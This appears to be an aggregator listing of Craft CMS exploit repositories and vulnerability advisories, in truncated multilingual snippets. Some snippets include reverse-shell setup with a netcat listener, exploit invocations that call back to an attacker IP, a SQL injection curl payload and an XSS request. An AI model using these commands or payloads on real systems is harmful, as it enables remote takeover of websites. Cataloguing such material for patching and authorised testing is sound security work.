CVE-2025-32432

CVE-2025-32432 Craft CMS 사전 인증 RCE PoC Craft CMS의 치명적인 사전 인증 원격 코드 실행 영향: Craft CMS 3.x, 4.x 및 5.x 5.6.16까지 정보: 이 익스플로잇은 HackTheBox Orion 머신에서 테스트되었습니다. 개요 이 저장소는 CVE-2025-32432 에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Craft CMS의 치명적인 사전 인증 원격 코드 실행 취약점입니다. 이 취약점은 인증되지 않은 공격자가 Yii2의 동작 첨부 메커니즘과 class 오버라이...

Craft-CMS-Exploit

This Python 스크립트는 인기 있는 콘텐츠 관리 시스템인 Craft CMS의 원격 코드 실행 취약점CVE-2023-41892을 악용합니다. 이 취약점은 4.0.0-RC1부터 4.4.14 사이의 버전에 영향을 미치며, 공격자가 PHP 리버스 셸과 같은 임의의 코드를 원격으로 실행할 수 있게 합니다. 사용법 먼저 다른 셸에서 netcat 리스너를 시작하세요: nc -nlvp 1234 그런 다음 IP 주소를 확인하고 익스플로잇을 실행하세요: python3 exploit.py -r 10.10.16.47 -p 1234...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 CVE-2024-56145 CraftCMS RCE를 위한 POC 랩 환경입니다. 취약점 설명 php.ini에서 registerargcargv 옵션이 활성화된 경우 craftCMS에서 잠재적인 RCE 취약점이 발견되었습니다. 이는 해당 버그를 재현하고 익스플로잇할 수 있는 POC 랩 환경입니다. 버그의 전체 익스플로잇 단계는 Aesstnote Blog에서 확인할 수 있습니다. 랩 설정 일부 파일에 애플리케이션 구성이 포함되어 있으므로, zip 파일이 아닌 전체 저장소를 다운로드...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 シングルターゲットPoC 許可されたテストのみ。 このリポジトリは、管理されたラボ環境、Hack The Box などのCTFプラットフォーム、内部検証、および防御的検証を目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して実行しないでください。 概要 このプロジェクトには、認証前のCraft CMSリモートコード実行の問題である CVE-2025-32432 のシングルターゲット概念実証（PoC）が含まれています。 このPoCは2つの段階で動作します： 1. 脆弱性の確認 — Craft...

CVE-2024-56145-craftcms-rce

스크립트를 다시 실행하기 전에 다음을 수행하세요: fuser -k 6666/tcp 사용법 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 사용자 정의 명령어는 다음과 같이 사용할 수 있습니다: python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i는 당신의 IP 또는 VPS IP입니다 ipconfig / ifconfig를 통해 확인. 예시: python3 poc.py -f targets.txt -i 165.22.104.140...

CVE-2024-37843-POC

CVE-2024-37843-POC CVE-2024-37843 的 POC。Craft CMS 基于时间盲注 SQL 注入 详情见博客 POC root@kitploit: curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON assets.id =...

CVE-2023-41892

CVE-2023-41892 Craft CMSの脆弱性で、リモートコード実行（RCE）を可能にします。...

CVE-2025-32432-PoC

CVE-2025-32432: 로그 포이즈닝을 통한 RCE 익스플로잇 도구 설명 이 저장소에는 Craft CMS의 심각한 취약점 체인을 시연하기 위해 Go로 작성된 전문적인 개념 증명PoC 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 로컬 파일 포함LFI으로 이어지는 로그 포이즈닝 취약점을 악용하며, 궁극적으로 리버스 셸을 통해 원격 코드 실행RCE을 달성합니다. 기술 분석 익스플로잇은 다음과 같은 다단계 실행 체인을 따릅니다: 1. 로그 포이즈닝 이 도구는 먼저 대상에 인증되지 않은 GET 요청을 전송합니다. a 매개변수를...

CVE-2026-79987

A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker...

CVE-2026-79987 Low-privilege RCE through element-search eager loading

A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker...

CVE-2026-79987 Low-privilege RCE through element-search eager loading

A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker...

CVE-2026-79987

CVE-2026-79987 is a low-privilege remote code execution vulnerability in Craft CMS , exploitable by a remote, authenticated, non-admin Control Panel user holding only the accessCp permission. The root cause involves element-search eager loading , allowing the attacker to execute operating system ...

EUVD-2026-75586

A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 事前認証RCE Craft CMS における事前認証リモートコード実行 発見・開発者:Mohammed Idrees Banyamer 📌 概要 CVE-2025-32432 は、Craft CMS の複数バージョンに影響する重大な事前認証リモートコード実行（RCE）脆弱性です。無害化されていないセッションデータの保存と安全でないデシリアライゼーションガジェットを連鎖させることで、認証されていない攻撃者がリモートサーバー上で任意のコマンドを実行できます。 🎯 影響を受けるバージョン...

Craft CMS - Remote Code Execution via Template Path Manipulation

This template identifies a critical Remote Code Execution RCE vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9. The vulnerability exists due to improper handling of the --templatesPath query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - 크로스 사이트 스크립팅 Craft CMS 3.0.25 - 크로스 사이트 스크립팅 취약점 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 개념 증명 콘솔 탭에서 새 제목을 저장하여 크로스 사이트 스크립팅을 실행할 수 있습니다. root@kitploit: POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT User-Agent:...

craftcms-vcard-exploit

Craft CMS vCard 플러그인 역직렬화 취약점 Craft CMS에는 .vcf 파일 형식으로 연락처를 다운로드하기 위한 "vCard"라는 플러그인이 있습니다. 이 플러그인은 Craft 저장소와 Github에서 확인할 수 있습니다: Craft Plugin Store Github 설명 이 플러그인은 클라이언트가 보낸 매개변수를 받아 openssldecrypt로 값을 복호화한 다음, 결과 문자열을 PHP의 unserialize 함수에 전달합니다. 암호화에 사용되는 기본 salt가 저장소에 공개되어 있기 때문에, 공격자는 동일한...

CVE-2023-41892

CVE-2023-41892 - Craft CMS 원격 코드 실행 RCE 참조: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...

CVE-2026-86731

Craft CMS versions 5.0.0-RC1 through 5.10.11 are missing an admin-target guard in UsersController::actionActivateUser the users/activate-user action. While the action requires the administrateUsers permission, it does not call requireAdmin when the targeted user is an administrator, unlike the...

CVE-2026-86732

Craft CMS versions before 5.10.12 contain a remote code execution vulnerability in the element-index endpoint that allows authenticated content editors to instantiate arbitrary classes through the criteria parameter. Attackers can inject a malicious class via criteriawithTransforms0class that...